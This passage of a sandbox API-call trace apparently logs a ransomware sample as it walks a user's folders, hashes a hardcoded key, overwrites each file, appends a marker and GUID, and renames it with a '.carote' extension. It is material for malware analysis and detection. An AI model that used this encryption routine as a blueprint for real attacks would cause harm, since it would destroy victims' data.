RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.292] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\") returned="hIl-xN3DRO3pVP\\" [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecce8 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.292] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\") returned="JiLyW4X cG7WzlVAVa\\" [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecce8 | out: hHeap=0x5010000) returned 1 [0113.292] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0113.292] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.292] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.292] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.292] PathFindFileNameW (pszPath="") returned="" [0113.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.292] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x918f980, ftCreationTime.dwHighDateTime=0x1d4c780, ftLastAccessTime.dwLowDateTime=0xd7cd21d0, ftLastAccessTime.dwHighDateTime=0x1d4cd5b, ftLastWriteTime.dwLowDateTime=0xd7cd21d0, ftLastWriteTime.dwHighDateTime=0x1d4cd5b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.297] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.297] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x918f980, ftCreationTime.dwHighDateTime=0x1d4c780, ftLastAccessTime.dwLowDateTime=0xd7cd21d0, ftLastAccessTime.dwHighDateTime=0x1d4cd5b, ftLastWriteTime.dwLowDateTime=0xd7cd21d0, ftLastWriteTime.dwHighDateTime=0x1d4cd5b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.297] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c80520, ftCreationTime.dwHighDateTime=0x1d4ce02, ftLastAccessTime.dwLowDateTime=0xf674fa30, ftLastAccessTime.dwHighDateTime=0x1d4ca9b, ftLastWriteTime.dwLowDateTime=0xf674fa30, ftLastWriteTime.dwHighDateTime=0x1d4ca9b, nFileSizeHigh=0x0, nFileSizeLow=0x9eec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BKlpy7Ip_YE.jpg", cAlternateFileName="BKLPY7~1.JPG")) returned 1 [0113.297] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.297] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x79f8730 [0113.297] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.297] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\BKlpy7Ip_YE.jpg") returned=".jpg" [0113.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\BKlpy7Ip_YE.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\bklpy7ip_ye.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.298] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=40684) returned 1 [0113.298] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.300] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9ec6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.300] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.301] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.301] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.301] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.301] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x9eec, lpOverlapped=0x0) returned 1 [0113.302] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.302] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.302] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.302] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.302] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.303] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.303] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.303] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.303] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.303] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.303] GetLastError () returned 0x0 [0113.303] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.303] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.303] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.303] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x9ef0) returned 0x7b182e0 [0113.303] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.303] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.303] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x9ee7, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x9ee7, lpOverlapped=0x0) returned 1 [0113.304] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.304] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9eec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.304] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.304] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.304] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.304] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.304] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.304] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.304] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.304] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.304] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.304] CloseHandle (hObject=0x61c) returned 1 [0113.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.305] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.305] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\BKlpy7Ip_YE.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\bklpy7ip_ye.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\BKlpy7Ip_YE.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\bklpy7ip_ye.jpg.carote")) returned 1 [0113.306] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.306] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.307] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.307] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9159d10, ftCreationTime.dwHighDateTime=0x1d4d3c0, ftLastAccessTime.dwLowDateTime=0xbefe8c40, ftLastAccessTime.dwHighDateTime=0x1d4d240, ftLastWriteTime.dwLowDateTime=0xbefe8c40, ftLastWriteTime.dwHighDateTime=0x1d4d240, nFileSizeHigh=0x0, nFileSizeLow=0xfea6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DPeKe 7dMpx.m4a", cAlternateFileName="DPEKE7~1.M4A")) returned 1 [0113.307] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.307] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x79f8730 [0113.307] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.307] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\DPeKe 7dMpx.m4a") returned=".m4a" [0113.307] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\DPeKe 7dMpx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\dpeke 7dmpx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.307] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=65190) returned 1 [0113.307] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.309] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfe80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.309] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.310] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.310] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.311] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.311] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xfea6, lpOverlapped=0x0) returned 1 [0113.311] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.311] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.311] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.311] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.311] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.312] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.312] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.312] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.312] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.312] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.312] GetLastError () returned 0x0 [0113.312] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.312] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.312] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.312] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfeb0) returned 0x7b182e0 [0113.313] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.313] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.313] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xfea1, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xfea1, lpOverlapped=0x0) returned 1 [0113.313] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.313] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfea6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.313] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.313] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.313] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.313] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.313] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.314] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.314] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.314] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.314] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.314] CloseHandle (hObject=0x61c) returned 1 [0113.315] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.315] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.315] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.315] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\DPeKe 7dMpx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\dpeke 7dmpx.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\DPeKe 7dMpx.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\dpeke 7dmpx.m4a.carote")) returned 1 [0113.315] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.315] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.316] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.316] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74842760, ftCreationTime.dwHighDateTime=0x1d4cabb, ftLastAccessTime.dwLowDateTime=0x64019bf0, ftLastAccessTime.dwHighDateTime=0x1d4c699, ftLastWriteTime.dwLowDateTime=0x64019bf0, ftLastWriteTime.dwHighDateTime=0x1d4c699, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r6veYprPQ4QpJN3.wav", cAlternateFileName="R6VEYP~1.WAV")) returned 1 [0113.316] RtlAllocateHeap 